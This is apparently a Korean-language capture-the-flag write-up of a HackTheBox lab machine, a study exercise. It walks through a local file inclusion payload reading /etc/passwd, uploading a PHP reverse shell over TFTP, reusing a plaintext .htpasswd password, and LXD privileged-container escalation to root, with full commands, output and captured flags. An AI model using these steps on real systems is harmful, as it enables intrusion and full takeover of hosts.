[STARTING_POINT] Tier2 Included
Nmap
┌──(kali㉿kali)-[~/Documents/htb/expressway]
└─$ sudo nmap 10.129.95.185 -p- -Pn --open -sV -sC --min-rate 2000
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-20 14:13 +0900
Nmap scan report for 10.129.95.185
Host is up (0.21s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://10.129.95.185/?file=home.php
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.96 seconds
Task
1. UDP에서 돌아가는 서비스?
sudo nmap 10.129.95.185 -sU --top-ports 20 --min-rate 2000
- UDP 서비스 조사 : nmap 할 때
-sU옵션 추가
tftp (69)
-
TFTP : Trivial File Transfer Protocol
-
아주 단순한 파일 전송 프로토콜
-
FTP보다 훤씬 단순하고 기능이 적은 대신, 설정이 가볍고 작은 환경에서 쓰기 쉬운 프로토콜이다.
-
연결을 오래 유지하는 방식이 아니라, 비교적 단순하게 파일을 주고 받는다.
-
인증 기능이 거의 없다.
-
디렉터리 조회, 사용자 권한 관리 같은 FTP의 복잡한 기능이 없다.
-
보안 기능도 없어서 암호화 없이 평문으로 동작한다.
보통 어디서 사용함?
- 부팅이나 장비 초기 설정 같은 관리 목적에 쓰인다.
- 네트워크 장비의 펌웨어 업로드/다운로드
- 아루터, 스위치 설정 백업
- PXE 부팅처럼 운영체제 설치 이미지를 가져올 때
- 임베디드 장비나 디스크 없는 시스템에서 파일을 받을 때
계정으로 로그인한다기보다 서버에 파일 요청을 보내는거에 가깝다.
tftp basic
command
- 접속
tftp <ip>
- 다운로드 / 업로드
get <filename> / put <filename>
2. 80번에서 돌아가고 있는 웹페이지에서 어떤 취약점이?
- 브라우저에 접속해보면,
?file=형태로 파일을 가져와서 로딩하는 것을 볼 수 있음. - 실제로
/etc/passwd같은 민감 파일에 접근해보면?
http://10.129.95.185/?file=../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
mike:x:1000:1000:mike:/home/mike:/bin/bash
tftp:x:110:113:tftp daemon,,,:/var/lib/tftpboot:/usr/sbin/nologin
- Local File Inclusion (LFI)에 취약.
- 여기서 6번째 필드가 해당 계정의 홈디렉터리를 의미하는데, tftp 가 있는걸 볼수 있었음.
/var/lib/tftpboot/가 홈디렉터리인거 같으니 LFI로 접근해봤다.- 암것도 없었음
foothold
(상대 타겟 시스템에 첫발을 내딛는, 침투하는 행위를 foothold라고 함.) 근데 이 시점에서 tftp로 파일 올리고 웹에서 끌고 올 수 있나 궁금해짐.
- 웹쉘 구하기
- 펜테스트몽키의 웹쉘 사용 (system 함수가 막힌거 같으니 이를 사용하지 않는 함수로 구성된 웹쉘을 사용하였음)
- https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
- 내부 ip, port는 수정 필요
- tftp 접속 후 웹쉘 업로드
- nc 리스너 열기 (수정한 포트로 열기)
/var/lib/tftpboot/<webshell.php>접근- 리버스쉘 얻을 수 있음
- 쉘이 불안정 하니 쉘 안정화
python3 -c 'import pty;pty.spawn("/bin/bash")'
또는
script /dev/null -c bash
Lateral Movement
그렇게 리버스 쉘을 따게 되면 www-data 권한으로 접속이 된다.
- mike 홈디렉터리에 user.txt가 있지만, 읽을 수 없다. (권한 x) mike 계정을 알아내서 유저를 바꿔 user.txt를 읽어보자.
우선 웹 관련 파일들이 모여있는 /var/www/html 로 이동하여 숨김 파일까지 다 봤는데, .htpasswd 가 존재하는 것을 발견할 수 있었다.
www-data@included:/var/www/html$ ls -al
ls -al
total 88
drwxr-xr-x 4 root root 4096 Oct 13 2021 .
drwxr-xr-x 3 root root 4096 Apr 23 2021 ..
-rw-r--r-- 1 www-data www-data 212 Apr 23 2021 .htaccess
-rw-r--r-- 1 www-data www-data 17 Apr 23 2021 .htpasswd
-rw-r--r-- 1 www-data www-data 13828 Apr 29 2014 default.css
drwxr-xr-x 2 www-data www-data 4096 Apr 23 2021 fonts
-rw-r--r-- 1 www-data www-data 20448 Apr 29 2014 fonts.css
-rw-r--r-- 1 www-data www-data 3704 Oct 13 2021 home.php
drwxr-xr-x 2 www-data www-data 4096 Apr 23 2021 images
-rw-r--r-- 1 www-data www-data 145 Oct 13 2021 index.php
-rw-r--r-- 1 www-data www-data 17187 Apr 29 2014 license.txt
www-data@included:/var/www/html$ cat .htpasswd
cat .htpasswd
mike:Sheffield19
.htpasswd: HTTP 기본 인증 역할- Apcahe 웹 서버에서 특정 디렉터리나 페이지에 접근할 때 사용자 이름과 비밀번호를 확인하는 용도로 사용된다. (아주 간단한 로그인 기능을 만들 때 사용하는 계정 모음)
그렇게 mike 계정을 탈취할 수 있었고, su 명령으로 유저를 변경해보면?
www-data@included:/var/www/html$ su mike
su mike
Password: Sheffield19
mike@included:/var/www/html$ whoami
whoami
mike
이렇게 횡이동이 가능하다. (user.txt 플래그를 읽을 수 있게 되었다!!)
user.txt
a56ef91d70cfbf2cdb8f454c006935a1
Privilege Escalation
mike 계정은 lxd 그룹에 속해있는 것을 알 수 있다.
mike@included:~$ id
id
uid=1000(mike) gid=1000(mike) groups=1000(mike),108(lxd)
즉, mike 계정은 lxd 를 다룰 수 있다!
LXD
-
리눅스 컨테이너를 관리하는 도구로, 가상머신보다는 가볍고 프로세스 격리보는 더 강한 컨테이너 환경을 만들고 관리하는 시스템이다.
-
LXC : 실제 컨테이너 기술
-
LXD : 그 LXC를 더 쉽게 다루게 해주는 관리 도구/데몬
-
할 수 있는 것들?
- 컨테이너 생성
- 이미지 받아오기
- 파일 마운트
- 네트워크 설정
- 컨테이너 시작/중지
- 권한 있는 컨테이너 실행
미친 크랙
컨테이너를 생성할 때 security.privileged=true 옵션을 주면, 컨테이너 내부의 root가 실제 호스트 시스템의 root와 거의 동일한 권한을 갖게 된다!!!
그래서 /(root directory) 같은 걸 컨테이너에 마운트까지 시켜주면, root flag 까지 읽을 수 있을 것 같다.
LXC (command line client)
init
sudo lxd init
이미지/인스턴스 생성
lxc init <image> <container>
ex.
lxc init ubuntu:22.04 mycontainer
시작 중지 재시작 삭제
lxc <command> <container>
- command
- start
- stop
- restart
- delete
컨테이너 내부 들어가기
lxc exec <container> /bin/sh
마운트
lxc config device add <container> <device_name> disk source=<host_path> path=<container_path> recursive=true
- recursive=true : 하위 디렉터리까지 모두 가져오는 옵션
컨테이너 root와 호스트 root의 권한 설정
lxc init <image> <container> -c security.privileged=true
-c: config- security.privileged : 호스트 root 권한과 동일하게 설정할건가?
이미지 가져오기 (lxc image)
HTB는 인터넷 연결이 안되어있으니 공격자 호스트에서 타겟 서버로 전송하는 방식을 사용하자.
- https://images.lxd.canonical.com/ (lxc image repo 검색) 해당 링크에서 아키텍처에 맞는 이미지를 선택한다. (용량이 작은 alpine/amd64로 선택하였음)
그러면 파일 이름들이 보일텐데, 2개를 다운 받는다.
- lxd.tar.xz : 이미지의 메타데이터와 설정
- rootfs.squashfs : 실제 Alpine 루트 파일 시스템
그리고 이거를 머신에 올린다.
- tftp 를 통해 올린다. (rootfs.squashfs 용량이 생각보다 있어서 전송이 오래걸림. 시간 많은 사람은ㄱ)
- python3 -m http.server 로 옮긴다. (이게 좋을 듯)
우선 다운 받은 파일이 들어있는 디렉터리에 python 웹 서버를 연다.
python3 -m http.server
mike 권한이 있는 홈디렉터리로 이동해서 wget을 사용해 다운 받는다.
wget http://<ip>:<port>/<file>
mike@included:~$ wget http://10.10.15.16:8000/lxd.tar.xz
wget http://10.10.15.16:8000/lxd.tar.xz
--2026-03-20 07:19:07-- http://10.10.15.16:8000/lxd.tar.xz
Connecting to 10.10.15.16:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 900 [application/x-xz]
Saving to: ‘lxd.tar.xz’
lxd.tar.xz 100%[===================>] 900 --.-KB/s in 0s
2026-03-20 07:19:08 (14.5 MB/s) - ‘lxd.tar.xz’ saved [900/900]
mike@included:~$ wget http://10.10.15.16:8000/rootfs.squashfs
wget http://10.10.15.16:8000/rootfs.squashfs
--2026-03-20 07:19:27-- http://10.10.15.16:8000/rootfs.squashfs
Connecting to 10.10.15.16:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3235840 (3.1M) [application/octet-stream]
Saving to: ‘rootfs.squashfs’
rootfs.squashfs 100%[===================>] 3.09M 755KB/s in 4.4s
2026-03-20 07:19:32 (723 KB/s) - ‘rootfs.squashfs’ saved [3235840/3235840]
image import
가져온 두 파일을 함께 lxc로 넣어주면 하나의 이미지가 완성된다.
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
--alias: 이미지 별명 지정
잘 생성됐는지 확인해보면
mike@included:~$ lxc image list
lxc image list
+--------+--------------+--------+-----------------------------------------+--------+--------+------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE |
+--------+--------------+--------+-----------------------------------------+--------+--------+------------------------------+
| alpine | 25fa761f89bd | no | Alpinelinux 3.20 x86_64 (20260320_0055) | x86_64 | 3.09MB | Mar 20, 2026 at 7:28am (UTC) |
+--------+--------------+--------+-----------------------------------------+--------+--------+------------------------------+
이렇게 잘 추가가 된 것을 볼 수 있다.
Create Container
만든 이미지로 컨테이너를 생성하자.
이때 -c 옵션과 인자로 security.privileged=true 를 사용하여 머신의 root 권한과 동일하게 root를 가지도록 만들자.
lxc init alpine mycontainer -c security.privileged=true
mike@included:~$ lxc init alpine mycontainer -c security.privileged=true
lxc init alpine mycontainer -c security.privileged=true
Creating mycontainer
Mount (root directory)
그리고 현재 머신의 루트 디렉터리 전체를 마운트 해오게 되면, 파일 시스템 전체를 루트 권한으로 돌아다닐 수 있는, 간접 권한 상승을 할 수 있게 된다.
lxc config device add mycontainer lxd-root disk source=/ path=/mnt/root recursive=true
mike@included:~$ lxc config device add mycontainer lxd-root disk source=/
path=/mnt/root recursive=true
<xd-root disk source=/ path=/mnt/root recursive=true
Device lxd-root added to mycontainer
컨테이너 실행 및 root flag 획득
컨테이너를 실행해주자.
lxc start mycontainer
그리고 실행 중인 컨테이너에 접속해주자.
lxc exec mycontainer /bin/sh
- 해당 명령을 실행하면 lxd(데몬)이 컨테이너 내부에 생성(실행)된 /bin/sh 에 붙여준다. (컨테이너 내에 들어온 효과를 볼 수 있다.)
mike@included:~$ lxc exec mycontainer /bin/sh
lxc exec mycontainer /bin/sh
~ # id
id
uid=0(root) gid=0(root)
이제 마운트 된 곳으로 가서 root flag를 찾아보자~
~ # cd /mnt/root/root
cd /mnt/root/root
/mnt/root/root # ls
ls
root.txt
/mnt/root/root # cat root.txt
cat root.txt
c693d9c7499d9f572ee375d4c14c7bcf
root 권한이기 때문에 읽을 수 있다!!
컨테이너를 이용해 시스템을 공격할 때 사용할 이미지를 고를 때는, 아주 작은 배포판을 찾습니다
← ALL POSTS